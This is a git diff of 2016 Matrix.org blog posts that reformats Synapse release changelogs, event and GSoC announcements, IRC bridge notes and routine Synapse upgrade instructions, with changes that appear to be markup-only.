a/content/blog/2016/03/2016-03-30-synapse-0-14-is-released.md b/content/blog/2016/03/2016-03-30-synapse-0-14-is-released.md index c45e12d0f..ad447fb6a 100644 --- a/content/blog/2016/03/2016-03-30-synapse-0-14-is-released.md +++ b/content/blog/2016/03/2016-03-30-synapse-0-14-is-released.md @@ -23,56 +23,56 @@ No changes from v0.14.0-rc2 Features:
      -
    • Add published room list API (PR #657)
    • +
    • Add published room list API (PR #657)
    Changes:
      -
    • Change various caches to consume less memory (PR #656, #658, #660, #662, #663, #665)
    • -
    • Allow rooms to be published without requiring an alias (PR #664)
    • -
    • Intern common strings in caches to reduce memory footprint (#666)
    • +
    • Change various caches to consume less memory (PR #656, #658, #660, #662, #663, #665)
    • +
    • Allow rooms to be published without requiring an alias (PR #664)
    • +
    • Intern common strings in caches to reduce memory footprint (#666)
    Bug fixes:
      -
    • Fix reject invites over federation (PR #646)
    • -
    • Fix bug where registration was not idempotent (PR #649)
    • -
    • Update aliases event after deleting aliases (PR #652)
    • -
    • Fix unread notification count, which was sometimes wrong (PR #661)
    • +
    • Fix reject invites over federation (PR #646)
    • +
    • Fix bug where registration was not idempotent (PR #649)
    • +
    • Update aliases event after deleting aliases (PR #652)
    • +
    • Fix unread notification count, which was sometimes wrong (PR #661)
    ## Changes in synapse v0.14.0-rc1 (2016-03-14) Features:
      -
    • Add event_id to response to state event PUT (PR #581)
    • -
    • Allow guest users access to messages in rooms they have joined (PR #587)
    • -
    • Add config for what state is included in a room invite (PR #598)
    • -
    • Send the inviter's member event in room invite state (PR #607)
    • -
    • Add error codes for malformed/bad JSON in /login (PR #608)
    • -
    • Add support for changing the actions for default rules (PR #609)
    • -
    • Add environment variable SYNAPSE_CACHE_FACTOR, default it to 0.1 (PR #612)
    • -
    • Add ability for alias creators to delete aliases (PR #614)
    • -
    • Add profile information to invites (PR #624)
    • +
    • Add event_id to response to state event PUT (PR #581)
    • +
    • Allow guest users access to messages in rooms they have joined (PR #587)
    • +
    • Add config for what state is included in a room invite (PR #598)
    • +
    • Send the inviter's member event in room invite state (PR #607)
    • +
    • Add error codes for malformed/bad JSON in /login (PR #608)
    • +
    • Add support for changing the actions for default rules (PR #609)
    • +
    • Add environment variable SYNAPSE_CACHE_FACTOR, default it to 0.1 (PR #612)
    • +
    • Add ability for alias creators to delete aliases (PR #614)
    • +
    • Add profile information to invites (PR #624)
    Changes:
      -
    • Enforce user_id exclusivity for AS registrations (PR #572)
    • -
    • Make adding push rules idempotent (PR #587)
    • -
    • Improve presence performance (PR #582, #586)
    • -
    • Change presence semantics for last_active_ago (PR #582, #586)
    • -
    • Don't allow m.room.create to be changed (PR #596)
    • -
    • Add 800x600 to default list of valid thumbnail sizes (PR #616)
    • -
    • Always include kicks and bans in full /sync (PR #625)
    • -
    • Send history visibility on boundary changes (PR #626)
    • -
    • Register endpoint now returns a refresh_token (PR #637)
    • +
    • Enforce user_id exclusivity for AS registrations (PR #572)
    • +
    • Make adding push rules idempotent (PR #587)
    • +
    • Improve presence performance (PR #582, #586)
    • +
    • Change presence semantics for last_active_ago (PR #582, #586)
    • +
    • Don't allow m.room.create to be changed (PR #596)
    • +
    • Add 800x600 to default list of valid thumbnail sizes (PR #616)
    • +
    • Always include kicks and bans in full /sync (PR #625)
    • +
    • Send history visibility on boundary changes (PR #626)
    • +
    • Register endpoint now returns a refresh_token (PR #637)
    Bug fixes:
      -
    • Fix bug where we returned incorrect state in /sync (PR #573)
    • -
    • Always return a JSON object from push rule API (PR #606)
    • -
    • Fix bug where registering without a user id sometimes failed (PR #610)
    • -
    • Report size of ExpiringCache in cache size metrics (PR #611)
    • -
    • Fix rejection of invites to empty rooms (PR #615)
    • -
    • Fix usage of bcrypt to not use checkpw (PR #619)
    • -
    • Pin pysaml2 dependency (PR #634)
    • -
    • Fix bug in /sync where timeline order was incorrect for backfilled events (PR #635)
    • +
    • Fix bug where we returned incorrect state in /sync (PR #573)
    • +
    • Always return a JSON object from push rule API (PR #606)
    • +
    • Fix bug where registering without a user id sometimes failed (PR #610)
    • +
    • Report size of ExpiringCache in cache size metrics (PR #611)
    • +
    • Fix rejection of invites to empty rooms (PR #615)
    • +
    • Fix usage of bcrypt to not use checkpw (PR #619)
    • +
    • Pin pysaml2 dependency (PR #634)
    • +
    • Fix bug in /sync where timeline order was incorrect for backfilled events (PR #635)
    diff --git a/content/blog/2016/03/2016-03-31-tadhack-mini-london-2.md b/content/blog/2016/03/2016-03-31-tadhack-mini-london-2.md index d1e182c5f..09fc09b4a 100644 --- a/content/blog/2016/03/2016-03-31-tadhack-mini-london-2.md +++ b/content/blog/2016/03/2016-03-31-tadhack-mini-london-2.md @@ -9,12 +9,12 @@ category = ["General"] tadhack-2016-mini-london-banner -It's soon time for the 2nd TADHack-mini London. The event starts at 10am on Saturday April 9th and hacking continues until the projects are pitched, starting at 1pm on Sunday April 10th. As you can see by the many previous TADHacks, every hackathon brings interesting and impressive projects, so we are again expecting great things! +It's soon time for the 2nd TADHack-mini London. The event starts at 10am on Saturday April 9th and hacking continues until the projects are pitched, starting at 1pm on Sunday April 10th. As you can see by the many previous TADHacks, every hackathon brings interesting and impressive projects, so we are again expecting great things! As usual, there are great prizes to be won - worth around $5k in total. This time, we will award the best Matrix-related hack a PhantomX AX Metal Hexapod Mark III from Trossen Robotics, a build-it-yourself hexapod robot kit! The robot is built on an entirely open source platform, complete with 3D cad models of the robot, open software, and schematics for the electronics. hexeh-big2 -If you're planning to attend TADHack-mini London: see you there! If not - why aren't you? Consider spending a day and a half hacking on some cool technologies - it could be well worth your time! +If you're planning to attend TADHack-mini London: see you there! If not - why aren't you? Consider spending a day and a half hacking on some cool technologies - it could be well worth your time! You can be one step ahead by getting acquainted with the Matrix C-S API or the AS API. And if you have any questions - or want to discuss potential hacks - please come talk to us in #matrix:matrix.org! diff --git a/content/blog/2016/04/2016-04-22-gsoc-update.md b/content/blog/2016/04/2016-04-22-gsoc-update.md index 918bd52a7..ca38f3adb 100644 --- a/content/blog/2016/04/2016-04-22-gsoc-update.md +++ b/content/blog/2016/04/2016-04-22-gsoc-update.md @@ -7,7 +7,7 @@ author = ["Oddvar Lovaas"] category = ["GSOC"] +++ -As previously announced, Matrix is participating in Google Summer of Code (GSoC) 2016. We have had a lot of interest: lots of people joining Matrix to talk to us about their project ideas and a total of 38 project proposals. We have even had some code contributions to our various projects from people who discovered Matrix via GSoC! +As previously announced, Matrix is participating in Google Summer of Code (GSoC) 2016. We have had a lot of interest: lots of people joining Matrix to talk to us about their project ideas and a total of 38 project proposals. We have even had some code contributions to our various projects from people who discovered Matrix via GSoC! It's our first year as a GSoC mentoring organisation and we were only allocated two project slots. This means that we had the tough decision of choosing between some really good projects - and that means a lot of you who applied will unfortunately be left feeling disappointed. Selecting our two projects was very difficult, and we talked it over until we all agreed. Please remember that not being picked does not mean that your proposal was bad. diff --git a/content/blog/2016/04/2016-04-25-announcing-the-matrix-gsocers.md b/content/blog/2016/04/2016-04-25-announcing-the-matrix-gsocers.md index ff08ccea8..3b841d296 100644 --- a/content/blog/2016/04/2016-04-25-announcing-the-matrix-gsocers.md +++ b/content/blog/2016/04/2016-04-25-announcing-the-matrix-gsocers.md @@ -13,6 +13,6 @@ As mentioned, picking two projects o Aviral will be developing a flexible plugin system to facilitate integrating various services such as github/trello/duckduckgo with Matrix. Meanwhile, Half-Shot will be looking at adding features on top of Matrix - infact, he's already built a MPD DJ bot and started working on a .NET SDK. Aviral too, has been committing various enhancements already. -According to Google's GSoC timeline we are currently in the "Community Bonding" phase, which lasts till May 22, 2016 - which is when the projects formally kick off. +According to Google's GSoC timeline we are currently in the "Community Bonding" phase, which lasts till May 22, 2016 - which is when the projects formally kick off. We're looking forward to seeing what awesome things Aviral and Half-Shot come up with! diff --git a/content/blog/2016/05/2016-05-23-kamailio-world-2016.md b/content/blog/2016/05/2016-05-23-kamailio-world-2016.md index 3c2b2a508..fd20875f4 100644 --- a/content/blog/2016/05/2016-05-23-kamailio-world-2016.md +++ b/content/blog/2016/05/2016-05-23-kamailio-world-2016.md @@ -11,6 +11,6 @@ category = ["General"] Last week I went to Kamailio World 2016 in Berlin to meet fellow VoIP-developers and tell them all about Matrix. It's a fairly small conference, which is actually quite nice as it means you get to talk to almost everyone. A lot of people were interested in Matrix - both new and familiar faces - in fact, some of them heard about Matrix a year ago at Kamailio World 2015 and were interested in hearing what progress we've made since. -As always, Matrix participated in James Body's dangerous demos session - and I also gave a 30min talk on Matrix and recent updates to a full room on the first day of the conference. +As always, Matrix participated in James Body's dangerous demos session - and I also gave a 30min talk on Matrix and recent updates to a full room on the first day of the conference. Several people mentioned that Matrix could be interesting to their project, either as a glue between services, or for adding text-based chat to VoIP apps. I hope to see some of you in Matrix at some point - please join us in #matrix:matrix.org and say hi! It's also a good place to ask questions and discuss how Matrix can work with your project. Auf Wiedersehen! diff --git a/content/blog/2016/07/2016-07-04-the-matrix-summer-special.md b/content/blog/2016/07/2016-07-04-the-matrix-summer-special.md index fc396c782..232086ba9 100644 --- a/content/blog/2016/07/2016-07-04-the-matrix-summer-special.md +++ b/content/blog/2016/07/2016-07-04-the-matrix-summer-special.md @@ -9,18 +9,18 @@ category = ["General", "GSOC"] Hi folks - another few months have gone by and once again the core Matrix team has ended up too busy hacking away on the final missing pieces of the Matrix jigsaw puzzle to have been properly updating the blog; sorry about this. The end is in sight for the current crunch however, and we expect to return to regular blog updates shortly! Meanwhile, rather than letting news stack up any further, here's a quick(?) attempt to summarise all the things which have been going on! -### Synapse 0.16.1 released! +### Synapse 0.16.1 released This one's a biggy: in the mad rush during June to support the public debut for Vector, we made a series of major Synapse releases which apparently we forgot to tell anyone about (sorry!). The full changelog is at the bottom of the post as it's huge, but the big features are:
      -
    • Huge performance improvements, including adding write-thru event caches and improving caching throughout, and massive improvements to the speed of the room directory API.
    • -
    • Add support for inline URL previewing!
    • -
    • Add email notifications!
    • -
    • Add support for LDAP authentication (thanks to Christoph Witzany)
    • -
    • Add support for JWT authentication (thanks to Niklas Riekenbrauck)
    • -
    • Add basic server-side ignore functionality and abuse reporting API
    • -
    • Add ability to delegate /publicRooms API requests to a list of secondary homeservers
    • -
    • Lots and lots and lots of bug fixes.
    • +
    • Huge performance improvements, including adding write-thru event caches and improving caching throughout, and massive improvements to the speed of the room directory API.
    • +
    • Add support for inline URL previewing!
    • +
    • Add email notifications!
    • +
    • Add support for LDAP authentication (thanks to Christoph Witzany)
    • +
    • Add support for JWT authentication (thanks to Niklas Riekenbrauck)
    • +
    • Add basic server-side ignore functionality and abuse reporting API
    • +
    • Add ability to delegate /publicRooms API requests to a list of secondary homeservers
    • +
    • Lots and lots and lots of bug fixes.
    If you haven't upgraded, please do asap from https://github.com/matrix-org/synapse! @@ -28,7 +28,7 @@ There's also been a huge amount of work going on behind the scenes on horizontal In future we'll actually document how to run these, as well as making it easy to spin up multiple concurrent instances - in the interim if you find you're hitting performance limits running high-traffic synapses come talk to us about it on #matrix-dev:matrix.org.  And the longer term plan continues to be to switch out these python endpoint implementations in future for more efficient implementations.  For instance, there's a golang implementation of the media repository currently in development which could run as another endpoint cluster. -### Vector released! +### Vector released Much has been written about this elsewhere, but Web, iOS and Android versions of the Vector clients were finally released to the general public on June 9th at the Decentralised Web Summit in San Francisco.  Vector is a relatively thin layer on top of the matrix-react-sdk, matrix-ios-sdk and matrix-android-sdk Matrix.org client SDKs which showcases Matrix's collaboration and messaging capabilities in a mass-market usable app.  There's been huge amounts of work here across the SDKs for the 3 platforms, with literally thousands of issues resolved.  You can find the full SDK changelogs on github for React, iOS and Android.  Some of the more interesting recent additions to Vector include improved room notifications, URL previews, configurable email notifications, and huge amounts of performance stability work. @@ -68,7 +68,7 @@ We strongly recommend checking out the videos which have all been published at  ### Matrix.to -Not the most exciting thing ever, but heads up that there's a simple site up at https://matrix.to to provide a way of doing client-agnostic links to content in Matrix.  For instance, rather than linking specifically into an app like Vector, you can now say https://matrix.to/#/#matrix:matrix.org to go there via whatever app you choose.  This is basically a bootstrapping process towards having proper mx:// URLs in circulation, but given mx:// doesn't exist yet, https://matrix.to hopefully provides a useful step in the right direction :) +Not the most exciting thing ever, but heads up that there's a simple site up at https://matrix.to to provide a way of doing client-agnostic links to content in Matrix.  For instance, rather than linking specifically into an app like Vector, you can now say https://matrix.to/#/#matrix:matrix.org to go there via whatever app you choose.  This is basically a bootstrapping process towards having proper mx:// URLs in circulation, but given mx:// doesn't exist yet, hopefully provides a useful step in the right direction :) PRs very welcome at https://github.com/matrix-org/matrix.to. @@ -80,27 +80,27 @@ For instance, the New Features:
      -
    • Nicks set via !nick will now be preserved across bridge restarts.
    • -
    • EXPERIMENTAL: IRC clients created by the bridge can be assigned their own IPv6 address.
    • -
    • The bridge will now send connection status information to real Matrix users via the admin room (the same room !nickcommands are issued).
    • -
    • Added !help.
    • -
    • The bridge will now fallback to body if the HTML content contains any unrecognised tags. This makes passing Markdown from Matrix to IRC much nicer.
    • -
    • The bridge will now send more metrics to the statsd server, including the join/part rate to and from IRC.
    • -
    • The config option matrixClients.displayName is now implemented.
    • +
    • Nicks set via !nick will now be preserved across bridge restarts.
    • +
    • EXPERIMENTAL: IRC clients created by the bridge can be assigned their own IPv6 address.
    • +
    • The bridge will now send connection status information to real Matrix users via the admin room (the same room !nickcommands are issued).
    • +
    • Added !help.
    • +
    • The bridge will now fallback to body if the HTML content contains any unrecognised tags. This makes passing Markdown from Matrix to IRC much nicer.
    • +
    • The bridge will now send more metrics to the statsd server, including the join/part rate to and from IRC.
    • +
    • The config option matrixClients.displayName is now implemented.
    Bug fixes:
      -
    • Escape HTML entities when sending from IRC to Matrix. This prevents munging occurring between IRC formatting and textual < element > references, whereby if you sent a tag and some colour codes from IRC it would not escape the tag and therefore send invalid HTML to Matrix.
    • -
    • User IDs starting with - are temporarily filtered out from being bridged.
    • -
    • Deterministically generate the configuration file.
    • -
    • Recognise more IRC error codes as non-fatal to avoid IRC clients reconnecting unnecessarily.
    • -
    • Add a 10 second timeout to join events injected via the MemberListSyncer to avoid HOL blocking.
    • -
    • 'Frontier' Matrix users will be forcibly joined to IRC channels even if membership list syncing I->M is disabled. This ensures that there is always a Matrix user in the channel being bridged to avoid losing traffic.
    • -
    • Cache the /initialSync request to avoid hitting this endpoint more than once, as it may be very slow.
    • -
    • Indexes have been added to the NeDB .db files to improve lookup times.
    • -
    • Do not recheck if the bridge bot should part the channel if a virtual user leaves the channel: we know it shouldn't.
    • -
    • Refine what counts as a "request" for metrics, reducing the amount of double-counting as requests echo back from the remote side.
    • -
    • Fixed a bug which caused users to be provisioned off their user_id even if they had a display name set.
    • +
    • Escape HTML entities when sending from IRC to Matrix. This prevents munging occurring between IRC formatting and textual < element > references, whereby if you sent a tag and some colour codes from IRC it would not escape the tag and therefore send invalid HTML to Matrix.
    • +
    • User IDs starting with - are temporarily filtered out from being bridged.
    • +
    • Deterministically generate the configuration file.
    • +
    • Recognise more IRC error codes as non-fatal to avoid IRC clients reconnecting unnecessarily.
    • +
    • Add a 10 second timeout to join events injected via the MemberListSyncer to avoid HOL blocking.
    • +
    • 'Frontier' Matrix users will be forcibly joined to IRC channels even if membership list syncing I->M is disabled. This ensures that there is always a Matrix user in the channel being bridged to avoid losing traffic.
    • +
    • Cache the /initialSync request to avoid hitting this endpoint more than once, as it may be very slow.
    • +
    • Indexes have been added to the NeDB .db files to improve lookup times.
    • +
    • Do not recheck if the bridge bot should part the channel if a virtual user leaves the channel: we know it shouldn't.
    • +
    • Refine what counts as a "request" for metrics, reducing the amount of double-counting as requests echo back from the remote side.
    • +
    • Fixed a bug which caused users to be provisioned off their user_id even if they had a display name set.
    Meanwhile, a
    Gitter bridge is in active development (and in testing with the Neovim community on Gitter/Matrix/Freenode), although lacking documentation so far. @@ -112,15 +112,15 @@ There's little point in all of the effort going into bridges and bots if it's to I'm sure there's a lot of stuff missing from the quick summary above - suffice it to say that the Matrix ecosystem is growing so fast and so large that it's pretty hard to keep track of everything that's going on.  The big remaining blockers we see at this point are:
      -
    • End-to-end Encryption roll-out
    • -
    • Polishing UX on Vector - showing that it's possible to build better-than-Slack quality UX on top of Matrix
    • -
    • Bots, Integrations and Bridges - making them absolutely trivial to build and deploy, and encouraging everyone to write as many as they can!
    • -
    • Improving VoIP, especially for conferencing, especially on Mobile
    • -
    • Threading
    • -
    • Editable messages
    • -
    • Synapse scaling and stability - this is massively improved, but there's still work to be done.  Meanwhile projects like Ruma give us hope for light at the end of the Synapse tunnel!
    • -
    • Spec refinements - there are still a lot of open spec bugs which we need to resolve so we can declare the spec (and thus Matrix!) out of beta.
    • -
    • More clients - especially desktop ones; helping out with Quaternion, Tensor, PTO, etc.
    • +
    • End-to-end Encryption roll-out
    • +
    • Polishing UX on Vector - showing that it's possible to build better-than-Slack quality UX on top of Matrix
    • +
    • Bots, Integrations and Bridges - making them absolutely trivial to build and deploy, and encouraging everyone to write as many as they can!
    • +
    • Improving VoIP, especially for conferencing, especially on Mobile
    • +
    • Threading
    • +
    • Editable messages
    • +
    • Synapse scaling and stability - this is massively improved, but there's still work to be done.  Meanwhile projects like Ruma give us hope for light at the end of the Synapse tunnel!
    • +
    • Spec refinements - there are still a lot of open spec bugs which we need to resolve so we can declare the spec (and thus Matrix!) out of beta.
    • +
    • More clients - especially desktop ones; helping out with Quaternion, Tensor, PTO, etc.
    ...and then all the pieces of the jigsaw will finally be in place, and Matrix should hopefully fulfil its potential as an invaluable, open and decentralised data fabric for the web. @@ -134,13 +134,13 @@ Matthew, Amandine & the Matrix Team. Bug fixes:
      -
    • Fix assorted bugs in /preview_url (PR #872)
    • -
    • Fix TypeError when setting unicode passwords (PR #873)
    • +
    • Fix assorted bugs in /preview_url (PR #872)
    • +
    • Fix TypeError when setting unicode passwords (PR #873)
    Performance improvements:
      -
    • Turn use_frozen_events off by default (PR #877)
    • -
    • Disable responding with canonical json for federation (PR #878)
    • +
    • Turn use_frozen_events off by default (PR #877)
    • +
    • Disable responding with canonical json for federation (PR #878)
    ### Changes in synapse v0.16.1-rc1 (2016-06-15) @@ -149,20 +149,20 @@ Features: None Changes:
      -
    • Log requester for /publicRoom endpoints when possible (PR #856)
    • -
    • 502 on /thumbnail when can't connect to remote server (PR #862)
    • -
    • Linearize fetching of gaps on incoming events (PR #871)
    • +
    • Log requester for /publicRoom endpoints when possible (PR #856)
    • +
    • 502 on /thumbnail when can't connect to remote server (PR #862)
    • +
    • Linearize fetching of gaps on incoming events (PR #871)
    Bugs fixes:
      -
    • Fix bug where rooms where marked as published by default (PR #857)
    • -
    • Fix bug where joining room with an event with invalid sender (PR #868)
    • -
    • Fix bug where backfilled events were sent down sync streams (PR #869)
    • -
    • Fix bug where outgoing connections could wedge indefinitely, causing push notifications to be unreliable (PR #870)
    • +
    • Fix bug where rooms where marked as published by default (PR #857)
    • +
    • Fix bug where joining room with an event with invalid sender (PR #868)
    • +
    • Fix bug where backfilled events were sent down sync streams (PR #869)
    • +
    • Fix bug where outgoing connections could wedge indefinitely, causing push notifications to be unreliable (PR #870)
    Performance improvements:
      -
    • Improve /publicRooms performance (PR #859)
    • +
    • Improve /publicRooms performance (PR #859)
    ### Changes in synapse v0.16.0 (2016-06-09) @@ -171,31 +171,31 @@ NB: As of v0.14 all AS config files must have an ID field. Bug fixes:
      -
    • Don't make rooms published by default (PR #857)
    • +
    • Don't make rooms published by default (PR #857)
    ### Changes in synapse v0.16.0-rc2 (2016-06-08) Features:
      -
    • Add configuration option for tuning GC via gc.set_threshold (PR #849)
    • +
    • Add configuration option for tuning GC via gc.set_threshold (PR #849)
    Changes:
      -
    • Record metrics about GC (PR #771, #847, #852)
    • -
    • Add metric counter for number of persisted events (PR #841)
    • +
    • Record metrics about GC (PR #771, #847, #852)
    • +
    • Add metric counter for number of persisted events (PR #841)
    Bug fixes:
      -
    • Fix 'From' header in email notifications (PR #843)
    • -
    • Fix presence where timeouts were not being fired for the first 8h after restarts (PR #842)
    • -
    • Fix bug where synapse sent malformed transactions to AS's when retrying transactions (Commits310197b, 8437906)
    • +
    • Fix 'From' header in email notifications (PR #843)
    • +
    • Fix presence where timeouts were not being fired for the first 8h after restarts (PR #842)
    • +
    • Fix bug where synapse sent malformed transactions to AS's when retrying transactions (Commits310197b, 8437906)
    Performance Improvements:
      -
    • Remove event fetching from DB threads (PR #835)
    • -
    • Change the way we cache events (PR #836)
    • -
    • Add events to cache when we persist them (PR #840)
    • +
    • Remove event fetching from DB threads (PR #835)
    • +
    • Change the way we cache events (PR #836)
    • +
    • Add events to cache when we persist them (PR #840)
    ### Changes in synapse v0.16.0-rc1 (2016-06-03) @@ -204,72 +204,72 @@ Version 0.15 was not released. See v0.15.0-rc1 below for additional changes. Features:
      -
    • Add email notifications for missed messages (PR #759, #786, #799, #810, #815, #821)
    • -
    • Add a url_preview_ip_range_whitelist config param (PR #760)
    • -
    • Add /report endpoint (PR #762)
    • -
    • Add basic ignore user API (PR #763)
    • -
    • Add an openidish mechanism for proving that you own a given user_id (PR #765)
    • -
    • Allow clients to specify a server_name to avoid 'No known servers' (PR #794)
    • -
    • Add secondary_directory_servers option to fetch room list from other servers (PR #808, #813)
    • +
    • Add email notifications for missed messages (PR #759, #786, #799, #810, #815, #821)
    • +
    • Add a url_preview_ip_range_whitelist config param (PR #760)
    • +
    • Add /report endpoint (PR #762)
    • +
    • Add basic ignore user API (PR #763)
    • +
    • Add an openidish mechanism for proving that you own a given user_id (PR #765)
    • +
    • Allow clients to specify a server_name to avoid 'No known servers' (PR #794)
    • +
    • Add secondary_directory_servers option to fetch room list from other servers (PR #808, #813)
    Changes:
      -
    • Report per request metrics for all of the things using request_handler (PR #756)
    • -
    • Correctly handle NULL password hashes from the database (PR #775)
    • -
    • Allow receipts for events we haven't seen in the db (PR #784)
    • -
    • Make synctl read a cache factor from config file (PR #785)
    • -
    • Increment badge count per missed convo, not per msg (PR #793)
    • -
    • Special case m.room.third_party_invite event auth to match invites (PR #814)
    • +
    • Report per request metrics for all of the things using request_handler (PR #756)
    • +
    • Correctly handle NULL password hashes from the database (PR #775)
    • +
    • Allow receipts for events we haven't seen in the db (PR #784)
    • +
    • Make synctl read a cache factor from config file (PR #785)
    • +
    • Increment badge count per missed convo, not per msg (PR #793)
    • +
    • Special case m.room.third_party_invite event auth to match invites (PR #814)
    Bug fixes:
      -
    • Fix typo in event_auth servlet path (PR #757)
    • -
    • Fix password reset (PR #758)
    • +
    • Fix typo in event_auth servlet path (PR #757)
    • +
    • Fix password reset (PR #758)
    Performance improvements:
      -
    • Reduce database inserts when sending transactions (PR #767)
    • -
    • Queue events by room for persistence (PR #768)
    • -
    • Add cache to get_user_by_id (PR #772)
    • -
    • Add and use get_domain_from_id (PR #773)
    • -
    • Use tree cache for get_linearized_receipts_for_room (PR #779)
    • -
    • Remove unused indices (PR #782)
    • -
    • Add caches to bulk_get_push_rules* (PR #804)
    • -
    • Cache get_event_reference_hashes (PR #806)
    • -
    • Add get_users_with_read_receipts_in_room cache (PR #809)
    • -
    • Use state to calculate get_users_in_room (PR #811)
    • -
    • Load push rules in storage layer so that they get cached (PR #825)
    • -
    • Make get_joined_hosts_for_room use get_users_in_room (PR #828)
    • -
    • Poke notifier on next reactor tick (PR #829)
    • -
    • Change CacheMetrics to be quicker (PR #830)
    • +
    • Reduce database inserts when sending transactions (PR #767)
    • +
    • Queue events by room for persistence (PR #768)
    • +
    • Add cache to get_user_by_id (PR #772)
    • +
    • Add and use get_domain_from_id (PR #773)
    • +
    • Use tree cache for get_linearized_receipts_for_room (PR #779)
    • +
    • Remove unused indices (PR #782)
    • +
    • Add caches to bulk_get_push_rules* (PR #804)
    • +
    • Cache get_event_reference_hashes (PR #806)
    • +
    • Add get_users_with_read_receipts_in_room cache (PR #809)
    • +
    • Use state to calculate get_users_in_room (PR #811)
    • +
    • Load push rules in storage layer so that they get cached (PR #825)
    • +
    • Make get_joined_hosts_for_room use get_users_in_room (PR #828)
    • +
    • Poke notifier on next reactor tick (PR #829)
    • +
    • Change CacheMetrics to be quicker (PR #830)
    ### Changes in synapse v0.15.0-rc1 (2016-04-26) Features:
      -
    • Add login support for Javascript Web Tokens, thanks to Niklas Riekenbrauck (PR #671,#687)
    • -
    • Add URL previewing support (PR #688)
    • -
    • Add login support for LDAP, thanks to Christoph Witzany (PR #701)
    • -
    • Add GET endpoint for pushers (PR #716)
    • +
    • Add login support for Javascript Web Tokens, thanks to Niklas Riekenbrauck (PR #671,#687)
    • +
    • Add URL previewing support (PR #688)
    • +
    • Add login support for LDAP, thanks to Christoph Witzany (PR #701)
    • +
    • Add GET endpoint for pushers (PR #716)
    Changes:
      -
    • Never notify for member events (PR #667)
    • -
    • Deduplicate identical /sync requests (PR #668)
    • -
    • Require user to have left room to forget room (PR #673)
    • -
    • Use DNS cache if within TTL (PR #677)
    • -
    • Let users see their own leave events (PR #699)
    • -
    • Deduplicate membership changes (PR #700)
    • -
    • Increase performance of pusher code (PR #705)
    • -
    • Respond with error status 504 if failed to talk to remote server (PR #731)
    • -
    • Increase search performance on postgres (PR #745)
    • +
    • Never notify for member events (PR #667)
    • +
    • Deduplicate identical /sync requests (PR #668)
    • +
    • Require user to have left room to forget room (PR #673)
    • +
    • Use DNS cache if within TTL (PR #677)
    • +
    • Let users see their own leave events (PR #699)
    • +
    • Deduplicate membership changes (PR #700)
    • +
    • Increase performance of pusher code (PR #705)
    • +
    • Respond with error status 504 if failed to talk to remote server (PR #731)
    • +
    • Increase search performance on postgres (PR #745)
    Bug fixes:
      -
    • Fix bug where disabling all notifications still resulted in push (PR #678)
    • -
    • Fix bug where users couldn't reject remote invites if remote refused (PR #691)
    • -
    • Fix bug where synapse attempted to backfill from itself (PR #693)
    • -
    • Fix bug where profile information was not correctly added when joining remote rooms (PR #703)
    • -
    • Fix bug where register API required incorrect key name for AS registration (PR #727)
    • +
    • Fix bug where disabling all notifications still resulted in push (PR #678)
    • +
    • Fix bug where users couldn't reject remote invites if remote refused (PR #691)
    • +
    • Fix bug where synapse attempted to backfill from itself (PR #693)
    • +
    • Fix bug where profile information was not correctly added when joining remote rooms (PR #703)
    • +
    • Fix bug where register API required incorrect key name for AS registration (PR #727)
    diff --git a/content/blog/2016/07/2016-07-08-critical-security-vulnerability-in-synapse-0-12-to-0-16-1-inclusive.md b/content/blog/2016/07/2016-07-08-critical-security-vulnerability-in-synapse-0-12-to-0-16-1-inclusive.md index 7907d113c..1289987d0 100644 --- a/content/blog/2016/07/2016-07-08-critical-security-vulnerability-in-synapse-0-12-to-0-16-1-inclusive.md +++ b/content/blog/2016/07/2016-07-08-critical-security-vulnerability-in-synapse-0-12-to-0-16-1-inclusive.md @@ -28,9 +28,9 @@ The Matrix Team Various upgrade instructions:
      -
    • If you installed via git: git pull.
    • -
    • If you installed via pip: pip install https://github.com/matrix-org/synapse/tarball/master
    • -
    • If you installed via debian package: apt-get update; apt-get install matrix-synapse
    • +
    • If you installed via git: git pull.
    • +
    • If you installed via pip: pip install https://github.com/matrix-org/synapse/tarball/master
    • +
    • If you installed via debian package: apt-get update; apt-get install matrix-synapse
    After upgrade you will need to restart synapse. diff --git a/content/blog/2016/08/2016-08-08-synapse-0-17-0-released.md b/content/blog/2016/08/2016-08-08-synapse-0-17-0-released.md index 34c7f8293..1522d65ae 100644 --- a/content/blog/2016/08/2016-08-08-synapse-0-17-0-released.md +++ b/content/blog/2016/08/2016-08-08-synapse-0-17-0-released.md @@ -9,10 +9,10 @@ category = ["General"] Synapse v0.17.0 is finally here, which includes a couple of security fixes so please upgrade. Other notable new things are:
      -
    • A bunch of new admin APIs, including purging locally cached data (which has been long requested to help free up disk space). See the docs folder for more details.
    • -
    • Device management APIs in preparation for end to end encryption.
    • -
    • Better support for LDAP authentication, thanks to Martin Weinelt! (This may break existing LDAP configuration, see PR #843 for more details.)
    • -
    • Lots and lots of bug fixes and various bits of performance work.
    • +
    • A bunch of new admin APIs, including purging locally cached data (which has been long requested to help free up disk space). See the docs folder for more details.
    • +
    • Device management APIs in preparation for end to end encryption.
    • +
    • Better support for LDAP authentication, thanks to Martin Weinelt! (This may break existing LDAP configuration, see PR #843 for more details.)
    • +
    • Lots and lots of bug fixes and various bits of performance work.
    For a full list of everything that has changed see below or the release page. @@ -28,42 +28,42 @@ way, see PR #990) -
  • Make psutil dependency optional (PR #992)
  • +
  • Add federation /version API (PR #990)
  • +
  • Make psutil dependency optional (PR #992)
  • Bug fixes:
      -
    • Fix URL preview API to exclude HTML comments in description (PR #988)
    • -
    • Fix error handling of remote joins (PR #991)
    • +
    • Fix URL preview API to exclude HTML comments in description (PR #988)
    • +
    • Fix error handling of remote joins (PR #991)
    ### Changes in synapse v0.17.0-rc4 (2016-08-05) Changes:
      -
    • Change the way we summarize URLs when previewing (PR #973)
    • -
    • Add new /state_ids/ federation API (PR #979)
    • -
    • Speed up processing of /state/ response (PR #986)
    • +
    • Change the way we summarize URLs when previewing (PR #973)
    • +
    • Add new /state_ids/ federation API (PR #979)
    • +
    • Speed up processing of /state/ response (PR #986)
    Bug fixes:
      -
    • Fix event persistence when event has already been partially persisted (PR #975, #983, #985)
    • -
    • Fix port script to also copy across backfilled events (PR #982)
    • +
    • Fix event persistence when event has already been partially persisted (PR #975, #983, #985)
    • +
    • Fix port script to also copy across backfilled events (PR #982)
    ### Changes in synapse v0.17.0-rc3 (2016-08-02) Changes:
      -
    • Forbid non-ASes from registering users whose names begin with '_' (PR #958)
    • -
    • Add some basic admin API docs (PR #963)
    • +
    • Forbid non-ASes from registering users whose names begin with '_' (PR #958)
    • +
    • Add some basic admin API docs (PR #963)
    Bug fixes:
      -
    • Send the correct host header when fetching keys (PR #941)
    • -
    • Fix joining a room that has missing auth events (PR #964)
    • -
